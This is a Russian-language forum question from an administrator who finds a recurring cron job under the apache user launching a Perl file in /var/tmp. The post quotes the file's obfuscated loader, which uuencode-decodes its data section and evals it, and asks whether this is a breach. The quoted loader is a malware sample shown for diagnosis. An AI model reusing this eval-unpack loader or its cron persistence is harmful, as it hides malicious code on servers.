Периодически на одном из серверов в cron создаётся задача от пользователя apache с командой:
perl /var/tmp/VHRDkYpHuw >/dev/null 2>&1
Вот содержание файла /var/tmp/VHRDkYpHuw:
▼Spoiler
my $irfwRXnAf;$irfwRXnAf.=$_ while(<DATA>);eval(unpack('u*',$irfwRXnAf));
__DATA__
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Иногда при этом один из процессов apache грузит ЦП до 100%, иногда ничего не происходит.
Что это такое и что с этим делать? Поменять пароли? Или это уязвимость одного из сайтов?